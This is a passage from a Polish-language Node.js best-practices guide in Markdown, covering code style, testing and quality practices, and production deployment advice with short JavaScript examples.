[...m.values()].forEach(console.log)\n>  ^^^\n> SyntaxError: Unexpected token ...\n\n// Avoid — throws exception\nconst count = 2 // it tries to run 2(), but 2 is not a function\n(function doSomething() {\n  // do something amazing\n}())\n// put a semicolon before the immediate invoked function, after the const definition, save the return value of the anonymous function to a variable or avoid IIFEs alltogether\n```\n\n🔗 [**Czytaj więcej:** \"Semi ESLint rule\"](https://eslint.org/docs/rules/semi)\n🔗 [**Czytaj więcej:** \"No unexpected multiline ESLint rule\"](https://eslint.org/docs/rules/no-unexpected-multiline)\n\n<br/><br/>\n\n## ![✔] 3.5 Nazwij swoje funkcje\n\n**TL;DR:** Nazwij wszystkie funkcje, w tym zamknięcia i połączenia zwrotne. Unikaj anonimowych funkcji. Jest to szczególnie przydatne podczas profilowania aplikacji Node. Nazewnictwo wszystkich funkcji pozwoli ci łatwo zrozumieć, na co patrzysz podczas sprawdzania migawki pamięci\n\n**W przeciwnym razie:** Debugowanie problemów produkcyjnych przy użyciu zrzutu pamięci (migawki pamięci) może stać się trudnym zadaniem, ponieważ zauważysz znaczne zużycie pamięci przez funkcje anonimowe\n\n<br/><br/>\n\n## ![✔] 3.6 Użyj konwencji nazewnictwa dla zmiennych, stałych, funkcji i klas\n\n**TL;DR:** Użyj **_lowerCamelCase_** podczas nazywania stałych, zmiennych i funkcji oraz **_UpperCamelCase_** (również pierwsza litera) podczas nazywania klas. Pomoże Ci to łatwo odróżnić zwykłe zmienne / funkcje od klas wymagających tworzenia instancji. Używaj opisowych nazw, ale staraj się, aby były krótkie\n\n**W przeciwnym razie:** JavaScript jest jedynym językiem na świecie, który umożliwia bezpośrednie wywoływanie konstruktora („klasy”) bez uprzedniego jego tworzenia. W konsekwencji klasy i konstruktory funkcji są zróżnicowane, zaczynając od UpperCamelCase\n\n### 3.6 Przykład kodu\n\n```javascript\n// for class name we use UpperCamelCase\nclass SomeClassExample {}\n\n// for const names we use the const keyword and lowerCamelCase\nconst config = {\n  key: \"value\",\n};\n\n// for variables and functions names we use lowerCamelCase\nlet someVariableExample = \"value\";\nfunction doSomething() {}\n```\n\n<br/><br/>\n\n## ![✔] 3.7 Wolę const nad let. Porzuć var\n\n**TL;DR:** Używanie `const` oznacza, że po przypisaniu zmiennej nie można jej ponownie przypisać. Preferowanie `const` pomoże ci nie ulec pokusie użycia tej samej zmiennej do różnych zastosowań i sprawi, że twój kod będzie wyraźniejszy. Jeśli zmienna wymaga ponownego przypisania, na przykład w pętli for, użyj `let`, aby ją zadeklarować. Innym ważnym aspektem „let” jest to, że zmienna zadeklarowana przy użyciu tej zmiennej jest dostępna tylko w zakresie bloku, w którym została zdefiniowana. `var` ma zasięg działania, a nie blok, i [nie powinien być używany w ES6](https://hackernoon.com/why-you-shouldnt-use-var-anymore-f109a58b9b70) teraz masz `const` i `let` do Twojej dyspozycji\n\n**W przeciwnym razie:** Debugowanie staje się znacznie bardziej kłopotliwe, gdy podąża się za często zmieniającą się zmienną\n\n🔗 [**Czytaj więcej: JavaScript ES6+: var, let, or const?** ](https://medium.com/javascript-scene/javascript-es6-var-let-or-const-ba58b8dcde75)\n\n<br/><br/>\n\n## ![✔] 3.8 Wymagaj najpierw modułów, a nie funkcji wewnętrznych\n\n**TL;DR:** Wymagaj modułów na początku każdego pliku, przed dowolnymi funkcjami i poza nimi. Ta prosta najlepsza praktyka nie tylko pomoże ci łatwo i szybko określić zależności pliku na samej górze, ale także pozwoli uniknąć kilku potencjalnych problemów\n\n**W przeciwnym razie:** Wymagania są uruchamiane synchronicznie przez Node.js. Jeśli są wywoływane z funkcji, może blokować obsługę innych żądań w bardziej krytycznym momencie. Ponadto, jeśli wymagany moduł lub dowolna z jego zależności zgłasza błąd i powoduje awarię serwera, najlepiej dowiedzieć się o nim jak najszybciej, co może nie mieć miejsca, jeśli moduł ten jest wymagany z funkcji\n\n<br/><br/>\n\n## ![✔] 3.9 Wymagaj modułów według folderów, a nie bezpośrednio plików\n\n**TL;DR:** Podczas opracowywania modułu / biblioteki w folderze umieść plik index.js, który ujawnia elementy wewnętrzne modułu, aby każdy konsument mógł przez niego przejść. Służy to jako „interfejs” do modułu i ułatwia przyszłe zmiany bez zerwania umowy\n\n**W przeciwnym razie:** Zmiana wewnętrznej struktury plików lub podpisu może uszkodzić interfejs z klientami\n\n### 3.9 Przykład kodu\n\n```javascript\n// Do\nmodule.exports.SMSProvider = require(\"./SMSProvider\");\nmodule.exports.SMSNumberResolver = require(\"./SMSNumberResolver\");\n\n// Avoid\nmodule.exports.SMSProvider = require(\"./SMSProvider/SMSProvider.js\");\nmodule.exports.SMSNumberResolver = require(\"./SMSNumberResolver/SMSNumberResolver.js\");\n```\n\n<br/><br/>\n\n## ![✔] 3.10 Używaj operatora `===`\n\n**TL;DR:** Preferuj operator ścisłej równości `===` zamiast słabszego abstrakcyjnego operatora równości `==`. `==` porówna dwie zmienne po przekształceniu ich we wspólny typ. W `===` nie ma konwersji typu i obie zmienne muszą być tego samego typu, aby były równe\n\n**W przeciwnym razie:** Nierówne zmienne mogą zwracać wartość true w porównaniu z operatorem `==`\n\n### 3.10 Przykład kodu\n\n```javascript\n\"\" == \"0\"; // false\n0 == \"\"; // true\n0 == \"0\"; // true\n\nfalse == \"false\"; // false\nfalse == \"0\"; // true\n\nfalse == undefined; // false\nfalse == null; // false\nnull == undefined; // true\n\n\" \\t\\r\\n \" == 0; // true\n```\n\nWszystkie powyższe instrukcje zwrócą wartość false, jeśli zostaną użyte z `===`\n\n<br/><br/>\n\n## ![✔] 3.11 Użyj Async Await, unikaj połączeń zwrotnych\n\n**TL;DR:** Node 8 LTS teraz ma pełne wsparcie dla Async-await. Jest to nowy sposób radzenia sobie z kodem asynchronicznym, który zastępuje wywołania zwrotne i obiecuje. Oczekiwanie na asynchronizację nie jest blokowane i sprawia, że kod asynchroniczny wygląda na synchroniczny. Najlepszym prezentem, jaki możesz dać kodowi, jest użycie funkcji async-await, która zapewnia znacznie bardziej zwartą i znaną składnię kodu, taką jak try-catch\n\n**W przeciwnym razie:** Obsługa błędów asynchronicznych w stylu wywołania zwrotnego jest prawdopodobnie najszybszą drogą do piekła - ten styl zmusza do sprawdzania błędów, radzenia sobie z dziwnym zagnieżdżaniem kodu i utrudnia uzasadnienie przepływu kodu\n\n🔗[**Czytaj więcej:** Guide to async await 1.0](https://github.com/yortus/asyncawait)\n\n<br/><br/>\n\n## ![✔] 3.12 Użyj wyrażeń arrow function (=>)\n\n**TL;DR:** Chociaż zaleca się stosowanie asynchronicznego oczekiwania i unikania parametrów funkcji w przypadku starszych interfejsów API, które akceptują promise lub wywołania zwrotne - funkcje strzałek sprawiają, że struktura kodu jest bardziej zwarta i zachowuje kontekst leksykalny funkcji root (np. `this`)\n\n**W przeciwnym razie:** Dłuższy kod (w funkcjach ES5) jest bardziej podatny na błędy i trudny do odczytania\n\n🔗 [**Czytaj więcej: It’s Time to Embrace Arrow Functions**](https://medium.com/javascript-scene/familiarity-bias-is-holding-you-back-its-time-to-embrace-arrow-functions-3d37e1a9bb75)\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#spis-treści\">⬆ Wróć na górę</a></p>\n\n# `4. Testy i ogólne praktyki jakości`\n\n## ![✔] 4.1 Przynajmniej napisz testowanie API (komponentu)\n\n**TL;DR:** Większość projektów po prostu nie ma żadnych automatycznych testów z powodu krótkich harmonogramów lub często „projekt testowy” wymykał się spod kontroli i został porzucony. Z tego powodu ustal priorytetyzację i zacznij od testowania interfejsu API, który jest najłatwiejszym sposobem pisania i zapewnia większy zasięg niż testowanie jednostkowe (możesz nawet tworzyć testy API bez kodu za pomocą narzędzi takich jak [Postman](https://www.getpostman.com/). Następnie, jeśli masz więcej zasobów i czasu, kontynuuj zaawansowane typy testów, takie jak testy jednostkowe, testy DB, testy wydajności itp.\n\n**W przeciwnym razie:** Możesz spędzać długie dni na pisaniu testów jednostkowych, aby dowiedzieć się, że masz tylko 20% zasięgu systemu\n\n<br/><br/>\n\n## ![✔] 4.2 Dołącz 3 części do każdej nazwy testu\n\n**TL;DR:** Spraw, aby test mówił na poziomie wymagań, aby był zrozumiały również dla inżynierów i programistów kontroli jakości, którzy nie znają wewnętrznych elementów kodu. Podaj w nazwie testu, co jest testowane (testowana jednostka), w jakich okolicznościach i jaki jest oczekiwany wynik\n\n**W przeciwnym razie:** Wdrożenie właśnie nie powiodło się, test o nazwie „Dodaj produkt” nie powiódł się. Czy to mówi ci, co dokładnie działa nieprawidłowo?\n\n🔗 [**Czytaj więcej: Include 3 parts in each test name**](./sections/testingandquality/3-parts-in-name.polish.md)\n\n<br/><br/>\n\n## ![✔] 4.3 Testy struktury według wzorca AAA\n\n**TL;DR:** Ustrukturyzuj swoje testy za pomocą 3 dobrze oddzielonych sekcji: Arrange, Act & Assert (AAA). Pierwsza część obejmuje konfigurację testu, następnie wykonanie testowanego urządzenia i wreszcie fazę asercji. Przestrzeganie tej struktury gwarantuje, że czytelnik nie poświęci mózgu procesora na zrozumienie planu testu\n\n**W przeciwnym razie:** Nie tylko spędzasz długie codzienne godziny na zrozumieniu głównego kodu, ale także to, co powinno być prostą częścią dnia (testowanie) rozciąga Twój mózg\n\n🔗 [**Czytaj więcej: Structure tests by the AAA pattern**](./sections/testingandquality/aaa.polish.md)\n\n<br/><br/>\n\n## ![✔] 4.4 Wykryj problemy z kodem za pomocą lintera\n\n**TL;DR:** Użyj lintera kodu, aby sprawdzić podstawową jakość i wcześnie wykryć anty-wzorce. Uruchom go przed jakimkolwiek testem i dodaj jako git-hook przed zatwierdzeniem, aby zminimalizować czas potrzebny na sprawdzenie i naprawienie dowolnego problemu. Sprawdź także [Część 3](#3-praktyki-stylu-kodu) w części Praktyki stylu kodu\n\n**W przeciwnym razie:** Możesz przekazać kod anty-wzorcowy i potencjalnie podatny na atak do środowiska produkcyjnego.\n\n<br/><br/>\n\n## ![✔] 4.5 Unikaj globalnych urządzeń testowych i seeds, dodawaj dane na test\n\n**TL;DR:** Aby zapobiec sprzężeniu testów i łatwo uzasadnić przebieg testu, każdy test powinien dodawać i działać na swoim własnym zestawie wierszy DB. Ilekroć test wymaga wyciągnięcia lub założenia istnienia niektórych danych DB - musi jawnie dodać te dane i unikać mutowania jakichkolwiek innych rekordów\n\n**W przeciwnym razie:** Rozważmy scenariusz, w którym wdrożenie zostało przerwane z powodu nieudanych testów, zespół zamierza teraz poświęcić cenny czas na dochodzenie, które kończy się smutnym wnioskiem: system działa dobrze, testy jednak przeszkadzają sobie nawzajem i przerywają kompilację\n\n🔗 [**Czytaj więcej: Avoid global test fixtures**](./sections/testingandquality/avoid-global-test-fixture.polish.md)\n\n<br/><br/>\n\n## ![✔] 4.6 Nieustannie sprawdzaj wrażliwe zależności\n\n**TL;DR:** Nawet najbardziej renomowane zależności, takie jak Express, mają znane luki w zabezpieczeniach. Można to łatwo oswoić za pomocą narzędzi społecznościowych i komercyjnych, takich jak 🔗 [npm audit](https://docs.npmjs.com/cli/audit) i 🔗 [snyk.io](https://snyk.io), które mogą być wywoływane z twojego CI na każdej kompilacji\n\n**W przeciwnym razie:** Utrzymywanie kodu w czystości przed lukami bez dedykowanych narzędzi będzie wymagało ciągłego śledzenia publikacji online na temat nowych zagrożeń. Dość nudne\n\n<br/><br/>\n\n## ![✔] 4.7 Oznacz swoje testy\n\n**TL;DR:** Różne testy muszą być uruchamiane w różnych scenariuszach: quick smoke, IO-less, testy powinny być uruchamiane, gdy programista zapisuje lub zatwierdza plik, pełne kompleksowe testy zwykle uruchamiane są po przesłaniu nowego pull requesta itp. Można to osiągnąć poprzez oznaczenie testów słowami kluczowymi takimi jak #cold #api #sanity, aby można było grepować za pomocą uprzęży testującej i wywołać pożądany podzbiór. Na przykład w ten sposób można wywoływać tylko grupę testową rozsądku [Mocha](https://mochajs.org/): mocha --grep 'sanity'\n\n**W przeciwnym razie:** Uruchamianie wszystkich testów, w tym testów, które wykonują dziesiątki zapytań DB, za każdym razem, gdy programista wprowadzi małą zmianę, może to być bardzo powolne i powstrzymuje programistów przed uruchomieniem testów\n\n<br/><br/>\n\n## ![✔] 4.8 Sprawdź zasięg testu, pomaga zidentyfikować nieprawidłowe wzorce testowe\n\n**TL;DR:** Narzędzia pokrycia kodu, takie jak [Istanbul](https://github.com/istanbuljs/istanbuljs) / [NYC](https://github.com/istanbuljs/nyc) są świetne z 3 powodów: przychodzi za darmo (bez wysiłku jest niezbędny do skorzystania z tych raportów), pomaga zidentyfikować zmniejszenie zasięgu testowania, a na koniec podkreśla niedopasowania testowania: patrząc na kolorowe raporty pokrycia kodu można zauważyć, na przykład, obszary kodu, które nigdy nie są testowane jak klauzule catch (co oznacza, że testy wywołują tylko szczęśliwe ścieżki, a nie zachowanie aplikacji w przypadku błędów). Ustaw na niepowodzenia kompilacji, jeśli zasięg spadnie poniżej określonego progu\n\n**W przeciwnym razie:** Nie będzie żadnych zautomatyzowanych danych informujących, kiedy duża część kodu nie jest objęta testowaniem\n\n<br/><br/>\n\n## ![✔] 4.9 Sprawdź nieaktualne pakiety\n\n**TL;DR:** Użyj preferowanego narzędzia (np. „npm outdated” lub [npm-check-updates](https://www.npmjs.com/package/npm-check-updates), aby wykryć zainstalowane pakiety, które są nieaktualne, wstrzyknij to w pipeline CI, a nawet zbuduj w trudnym scenariuszu. Na przykład poważnym scenariuszem może być sytuacja, gdy zainstalowany pakiet ma 5 łatek zatwierdzeń (np. Wersja lokalna to 1.3.1, a wersja repozytorium to 1.3.8) lub jest oznaczony jako przestarzałe przez jego autora - zabije kompilację i uniemożliwi wdrożenie tej wersji\n\n**W przeciwnym razie:** Produkcja będzie uruchamiać pakiety, które zostały wyraźnie oznaczone przez autora jako ryzykowne\n\n<br/><br/>\n\n## ![✔] 4.10 Do testowania e2e używaj env zbliżonego do produkcji\n\n**TL;DR:** Testy end-to-end (e2e), które obejmują dane na żywo, były najsłabszym ogniwem procesu CI, ponieważ zależy to od wielu ciężkich usług, takich jak DB. Skorzystaj ze środowiska, które jest jak najbardziej zbliżone do Twojej rzeczywistej produkcji, jak a-continue\n\n**W przeciwnym razie:** Bez zespołów tworzących dokery muszą utrzymywać testową bazę danych dla każdego środowiska testowego, w tym na komputerach programistów, synchronizuj wszystkie te bazy danych, aby wyniki testów nie różniły się w zależności od środowiska\n\n<br/><br/>\n\n## ![✔] 4.11 Refaktoryzuj regularnie za pomocą narzędzi do analizy statycznej\n\n**TL;DR:** Korzystanie z narzędzi analizy statycznej pomaga, zapewniając obiektywne sposoby poprawy jakości kodu i utrzymując kod w łatwości konserwacji. Możesz dodać narzędzia analizy statycznej do kompilacji CI, aby zawieść, gdy wykryje code smells. Jego głównymi zaletami w stosunku do zwykłego szarpania jest możliwość kontroli jakości w kontekście wielu plików (np. wykrywanie duplikacji), przeprowadzania zaawansowanej analizy (np. złożoności kodu) oraz śledzenia historii i postępu problemów z kodem. Dwa przykłady narzędzi, których możesz użyć, to [Sonarqube](https://www.sonarqube.org/) (2600+ [gwiazdek](https://github.com/SonarSource/sonarqube)) i [Code Climate](https://codeclimate.com/) (1500+ [gwiazdek](https://github.com/codeclimate/codeclimate)).\n\n**W przeciwnym razie:** Przy złej jakości kodu błędy i wydajność zawsze będą stanowić problem, którego nie będzie w stanie naprawić żadna nowa błyszcząca biblioteka ani najnowocześniejsze funkcje\n\n🔗 [**Czytaj więcej: Refactoring!**](./sections/testingandquality/refactoring.polish.md)\n\n<br/><br/>\n\n## ![✔] 4.12 Ostrożnie wybierz swoją platformę CI (Jenkins vs CircleCI vs Travis vs Reszta świata)\n\n**TL;DR:** Twoja platforma ciągłej integracji (CICD) będzie hostować wszystkie narzędzia wysokiej jakości (np. test, lint), więc powinna mieć żywy ekosystem wtyczek. [Jenkins](https://jenkins.io/) był domyślny dla wielu projektów, ponieważ ma największą społeczność wraz z bardzo potężną platformą w cenie złożonej konfiguracji, która wymaga stromej krzywej uczenia się. Obecnie znacznie łatwiej jest skonfigurować rozwiązanie CI za pomocą narzędzi SaaS, takich jak [CircleCI](https://circleci.com) i innych. Narzędzia te umożliwiają stworzenie elastycznego potoku CI bez konieczności zarządzania całą infrastrukturą. Ostatecznie jest to kompromis między wytrzymałością a szybkością - wybierz stronę ostrożnie\n\n**W przeciwnym razie:** Wybranie jakiegoś niszowego dostawcy może spowodować zablokowanie użytkownika, gdy będzie potrzebne zaawansowane dostosowanie. Z drugiej strony pójście z Jenkinsem może skrócić cenny czas na konfigurację infrastruktury\n\n🔗 [**Czytaj więcej: Choosing CI platform**](./sections/testingandquality/citools.polish.md)\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#spis-treści\">⬆ Powrót do góry</a></p>\n\n# `5. Przejście do praktyk produkcyjnych`\n\n## ![✔] 5.1. Monitoring\n\n**TL;DR:** Monitorowanie to gra polegająca na wykrywaniu problemów, zanim zrobią to klienci - oczywiście należy nadać niespotykane znaczenie. Rynek jest przytłoczony ofertami, dlatego rozważ rozpoczęcie od zdefiniowania podstawowych wskaźników, których należy przestrzegać (moje sugestie w środku), a następnie przejrzyj dodatkowe wymyślne funkcje i wybierz rozwiązanie, które zaznacza wszystkie pola. Kliknij „The Gist” poniżej, aby wyświetlić przegląd rozwiązań\n\n**W przeciwnym razie:** Awaria === rozczarowani klienci. Proste\n\n🔗 [**Czytaj więcej: Monitoring!**](./sections/production/monitoring.polish.md)\n\n<br/><br/>\n\n## ![✔] 5.2. Zwiększ przejrzystość za pomocą inteligentnego rejestrowania\n\n**TL;DR:** Dzienniki mogą być głupim magazynem instrukcji debugowania lub aktywować piękny pulpit nawigacyjny, który opowiada historię Twojej aplikacji. Zaplanuj swoją platformę rejestrowania od pierwszego dnia: w jaki sposób dzienniki są gromadzone, przechowywane i analizowane, aby zapewnić, że pożądane informacje (np. poziom błędu, po całej transakcji za pośrednictwem usług i serwerów itp.) mogą być naprawdę wydobyte\n\n**W przeciwnym razie:** W rezultacie pojawia się czarna skrzynka, o której trudno uzasadnić, a następnie zaczynasz ponownie pisać wszystkie instrukcje rejestrowania, aby dodać dodatkowe informacje\n\n🔗 [**Czytaj więcej: Increase transparency using smart logging**](./sections/production/smartlogging.polish.md)\n\n<br/><br/>\n\n## ![✔] 5.3. Deleguj wszystko, co możliwe (np. Gzip, SSL) na zwrotny serwer proxy\n\n**TL;DR:** Node jest strasznie kiepski w wykonywaniu zadań intensywnie wykorzystujących procesor, takich jak gzipping, zakończenie SSL itp. Zamiast tego należy używać „rzeczywistych” usług oprogramowania pośredniego, takich jak nginx, HAproxy lub usług dostawcy w chmurze\n\n**W przeciwnym razie:** Twój słaby pojedynczy wątek pozostanie zajęty wykonywaniem zadań infrastrukturalnych zamiast zajmowania się rdzeniem aplikacji, a wydajność odpowiednio się obniży\n\n🔗 [**Czytaj więcej: Delegate anything possible (e.g. gzip, SSL) to a reverse proxy**](./sections/production/delegatetoproxy.polish.md)\n\n<br/><br/>\n\n## ![✔] 5.4. Zablokuj zależności\n\n**TL;DR:** Twój kod musi być identyczny we wszystkich środowiskach, ale zadziwiająco npm pozwala domyślnie dryfować zależnościom między środowiskami - podczas instalowania pakietów w różnych środowiskach próbuje pobrać najnowszą wersję łatek. Aby temu zaradzić, użyj plików konfiguracyjnych npm, .npmrc, które każą każdemu środowisku zapisać dokładną (nie najnowszą) wersję każdego pakietu. Alternatywnie, dla dokładniejszej kontroli grained, użyj „npm shrinkwrap”. \\ \\* Aktualizacja: od NPM5 zależności są domyślnie zablokowane. Nowy menedżer pakietów w mieście, Yarn, również domyślnie nas objął\n\n**W przeciwnym razie:** Dział kontroli jakości dokładnie przetestuje kod i zatwierdzi wersję, która będzie zachowywać się inaczej w środowisku produkcyjnym. Co gorsza, różne serwery w tym samym klastrze produkcyjnym mogą uruchamiać inny kod\n\n🔗 [**Czytaj więcej: Lock dependencies**](./sections/production/lockdependencies.polish.md)\n\n<br/><br/>\n\n## ![✔] 5.5. Zabezpiecz czas pracy bez przestojów za pomocą odpowiedniego narzędzia\n\n**TL;DR:** Proces musi trwać i uruchamiać się ponownie w przypadku awarii. W przypadku prostych scenariuszy narzędzia do zarządzania procesami, takie jak PM2, mogą być wystarczające, ale w dzisiejszym świecie „zadokowanym” należy również wziąć pod uwagę narzędzia do zarządzania klastrami\n\n**W przeciwnym razie:** Uruchomienie dziesiątek instancji bez jasnej strategii i zbyt wielu narzędzi razem (zarządzanie klastrami, okno dokowane, PM2) może doprowadzić do chaosu DevOps\n\n🔗 [**Czytaj więcej: Guard process uptime using the right tool**](./sections/production/guardprocess.polish.md)\n\n<br/><br/>\n\n## ![✔] 5.6. Wykorzystaj wszystkie rdzenie procesora\n\n**TL;DR:** W swojej podstawowej formie aplikacja Node działa na jednym rdzeniu procesora, podczas gdy wszystkie pozostałe pozostają bezczynne. Twoim obowiązkiem jest replikacja procesu Node i wykorzystanie wszystkich procesorów - w przypadku małych i średnich aplikacji możesz użyć Node Cluster lub PM2. W przypadku większej aplikacji rozważ replikację procesu przy użyciu klastra Docker (np. K8S, ECS) lub skryptów wdrażania opartych na systemie inicjującym Linux (np. systemd)\n\n**W przeciwnym razie:** Twoja aplikacja prawdopodobnie wykorzysta tylko 25% dostępnych zasobów (!) lub nawet mniej. Zauważ, że typowy serwer ma 4 rdzenie procesora lub więcej, naiwne wdrożenie Node.js wykorzystuje tylko 1 (nawet przy użyciu usług PaaS, takich jak AWS beanstalk!)\n\n🔗 [**Czytaj więcej: Utilize all CPU cores**](./sections/production/utilizecpu.polish.md)\n\n<br/><br/>\n\n## ![✔] 5.7. Utwórz „punkt końcowy konserwacji”\n\n**TL;DR:** Ujawnij zestaw informacji związanych z systemem, takich jak użycie pamięci i REPL itp. W zabezpieczonym interfejsie API. Chociaż wysoce zalecane jest poleganie na standardowych i narzędziach do testów bitewnych, niektóre cenne informacje i operacje można łatwiej wykonać za pomocą kodu\n\n**W przeciwnym razie:** Przekonasz się, że wykonujesz wiele „wdrożeń diagnostycznych” - wysyłasz kod do produkcji tylko po to, aby wyodrębnić niektóre informacje do celów diagnostycznych\n\n🔗 [**Czytaj więcej: Create a ‘maintenance endpoint’**](./sections/production/createmaintenanceendpoint.polish.md)\n\n<br/><br/>\n\n## ![✔] 5.8. Odkryj błędy i przestoje przy użyciu produktów APM\n\n**TL;DR:** Produkty do monitorowania aplikacji i wydajności (np. APM) proaktywnie oceniają bazę kodu i interfejs API, dzięki czemu mogą automatycznie wykraczać poza tradycyjny monitoring i mierzyć ogólne wrażenia użytkownika na różnych usługach i poziomach. Na przykład niektóre produkty APM mogą wyróżniać transakcję, która ładuje się zbyt wolno po stronie użytkowników końcowych, sugerując jednocześnie główną przyczynę\n\n**W przeciwnym razie:** Możesz poświęcić wiele wysiłku na pomiar wydajności interfejsu API i przestojów, prawdopodobnie nigdy nie będziesz wiedział, jakie są twoje najwolniejsze części kodu w rzeczywistym scenariuszu i jak wpływają one na UX\n\n🔗 [**Czytaj więcej: Discover errors and downtime using APM products**](./sections/production/apmproducts.polish.md)\n\n<br/><br/>\n\n## ![✔] 5.9. Przygotuj kod do produkcji\n\n**TL;DR:** Kod z myślą o końcu, plan produkcji od pierwszego dnia. Brzmi to nieco niejasno, dlatego opracowałem kilka wskazówek programistycznych, które są ściśle związane z utrzymaniem produkcji (kliknij przycisk Gist poniżej)\n\n**W przeciwnym razie:** Mistrz świata IT / DevOps nie uratuje źle napisanego systemu\n\n🔗 [**Czytaj więcej: Make your code production-ready**](./sections/production/productioncode.polish.md)\n\n<br/><br/>\n\n## ![✔] 5.10. Zmierz i zabezpiecz zużycie pamięci\n\n**TL;DR:** Node.js ma kontrowersyjne relacje z pamięcią: silnik v8 ma miękkie limity wykorzystania pamięci (1,4 GB) i istnieją znane ścieżki wycieku pamięci w kodzie Node - dlatego oglądanie pamięci procesu Node jest koniecznością. W małych aplikacjach możesz okresowo mierzyć pamięć za pomocą poleceń powłoki, ale w średnio-dużych aplikacjach rozważ umieszczenie zegarka pamięci w solidnym systemie monitorowania\n\n**W przeciwnym razie:** Pamięć procesowa może przeciekać sto megabajtów dziennie, jak to się stało w [Walmart](https://www.joyent.com/blog/walmart-node-js-memory-leak)\n\n🔗 [**Czytaj więcej: Measure and guard the memory usage**](./sections/production/measurememory.polish.md)\n\n<br/><br/>\n\n## ![✔] 5.11. Wydobądź swoje zasoby frontendowe Node\n\n**TL;DR:** Podawaj zawartość interfejsu użytkownika za pomocą dedykowanego oprogramowania pośredniego (nginx, S3, CDN), ponieważ wydajność węzła naprawdę spada podczas pracy z wieloma plikami statycznymi ze względu na model jednowątkowy\n\n**W przeciwnym razie:** Twój pojedynczy wątek Node'a będzie zajęty przesyłaniem strumieniowym setek plików HTML / images / Angular / React zamiast przydzielania wszystkich swoich zasobów do zadania, dla którego się urodził - udostępniania treści dynamicznych\n\n🔗 [**Czytaj więcej: Get your frontend assets out of Node**](./sections/production/frontendout.polish.md)\n\n<br/><br/>\n\n## ![✔] 5.12. Bądź bezstanowy, zabijaj serwery prawie codziennie\n\n**TL;DR:** Przechowuj wszelkiego rodzaju dane (np. sesje użytkownika, pamięć podręczną, przesłane pliki) w zewnętrznych magazynach danych. Rozważ „zabijanie” swoich serwerów okresowo lub skorzystaj z platformy „bezserwerowej” (np. AWS Lambda), która wyraźnie wymusza zachowanie bezstanowe\n\n**W przeciwnym razie:** Awaria na danym serwerze spowoduje przestoje aplikacji, a nie tylko zabicie wadliwego komputera. Co więcej, elastyczność skalowania stanie się trudniejsza ze względu na zależność od konkretnego serwera\n\n🔗 [**Czytaj więcej: Be stateless, kill your Servers almost every day**](./sections/production/bestateless.polish.md)\n\n<br/><br/>\n\n## ![✔] 5.13. Użyj narzędzi, które automatycznie wykrywają luki w zabezpieczeniach\n\n**TL;DR:** Nawet najbardziej renomowane zależności, takie jak Express, mają znane luki (od czasu do czasu), które mogą stanowić zagrożenie dla systemu. Można to łatwo oswoić za pomocą narzędzi społecznościowych i komercyjnych, które stale sprawdzają luki w zabezpieczeniach i ostrzegają (lokalnie lub w GitHub), niektóre mogą nawet natychmiast je załatać\n\n**W przeciwnym razie:** Utrzymanie kodu w czystości przed lukami bez dedykowanych narzędzi będzie wymagało ciągłego śledzenia publikacji online na temat nowych zagrożeń. Dość nudne\n\n🔗 [**Czytaj więcej: Use tools that automatically detect vulnerabilities**](./sections/production/detectvulnerabilities.polish.md)\n\n<br/><br/>\n\n## ![✔] 5.14. Przypisz identyfikator transakcji do każdej instrukcji dziennika\n\n**TL;DR:** Przypisz ten sam identyfikator, identyfikator transakcji: {pewna wartość} do każdego wpisu dziennika w ramach jednego żądania. Następnie podczas sprawdzania błędów w logach łatwo wyciągnij wnioski przed i po. Niestety, nie jest to łatwe do osiągnięcia w Node ze względu na jego asynchroniczny charakter, patrz przykłady kodu wewnątrz\n\n**W przeciwnym razie:** Patrzenie na dziennik błędów produkcyjnych bez kontekstu - co zdarzyło się wcześniej - sprawia, że znacznie trudniej i wolniej jest myśleć o problemie\n\n🔗 [**Czytaj więcej: Assign ‘TransactionId’ to each log statement**](./sections/production/assigntransactionid.polish.md)\n\n<br/><br/>\n\n## ![✔] 5.15. Ustaw NODE_ENV = produkcja\n\n**TL;DR:** Ustaw zmienną środowiskową NODE_ENV na 'production' lub 'development', aby oznaczyć, czy optymalizacje produkcji powinny zostać aktywowane - wiele pakietów npm określa bieżące środowisko i optymalizuje kod do produkcji\n\n**W przeciwnym razie:** Pominięcie tej prostej właściwości może znacznie obniżyć wydajność. Na przykład, używając Express do renderowania po stronie serwera, pominięcie `NODE_ENV` powoduje spowolnienie trzykrotnie!\n\n🔗 [**Czytaj więcej: Set NODE_ENV=production**](./sections/production/setnodeenv.polish.md)\n\n<br/><br/>\n\n## ![✔] 5.16. Projektowanie wdrożeń zautomatyzowanych, atomowych i bez przestojów\n\n**TL;DR:** Badania pokazują, że zespoły wykonujące wiele wdrożeń zmniejszają prawdopodobieństwo poważnych problemów produkcyjnych. Szybkie i zautomatyzowane wdrożenia, które nie wymagają ryzykownych ręcznych kroków i przestojów usług, znacznie usprawniają proces wdrażania. Prawdopodobnie powinieneś to osiągnąć za pomocą Dockera w połączeniu z narzędziami CI, ponieważ stały się one standardem branżowym dla usprawnionego wdrażania\n\n**W przeciwnym razie:** Długie wdrożenia -> przestoje produkcyjne i błąd związany z człowiekiem -> zespół nie jest pewny co do wdrożenia -> mniej wdrożeń i funkcji\n\n<br/><br/>\n\n## ![✔] 5.17. Użyj wersji LTS środowiska Node.js\n\n**TL;DR:** Upewnij się, że używasz wersji LTS Node.js , aby otrzymywać krytyczne poprawki błędów, aktualizacje zabezpieczeń i ulepszenia wydajności\n\n**W przeciwnym razie:** Nowo odkryte błędy lub luki można wykorzystać do wykorzystania aplikacji działającej w środowisku produkcyjnym, a aplikacja może nie być obsługiwana przez różne moduły i trudniejsza do utrzymania\n\n🔗 [**Czytaj więcej: Use an LTS release of Node.js**](./sections/production/LTSrelease.polish.md)\n\n<br/><br/>\n\n## ![✔] 5.18. Nie kieruj dzienników w aplikacji\n\n**TL;DR:** Miejsca docelowe dziennika nie powinny być zakodowane na stałe przez programistów w kodzie aplikacji, ale powinny być zdefiniowane przez środowisko wykonawcze, w którym działa aplikacja. Programiści powinni zapisywać dzienniki na `stdout` za pomocą narzędzia rejestrującego, a następnie pozwolić środowisku wykonawczemu (kontener, serwer itp.) potokuj strumień `stdout` do odpowiedniego miejsca docelowego (tj. Splunk, Graylog, ElasticSearch itp.).\n\n**W przeciwnym razie:** Trasowanie dzienników obsługi aplikacji === trudne do skalowania, utrata dzienników, słaba separacja problemów\n\n🔗 [**Czytaj więcej: Log Routing**](./sections/production/logrouting.polish.md)\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#spis-treści\">⬆ Powrót do góry</a></p>\n\n# 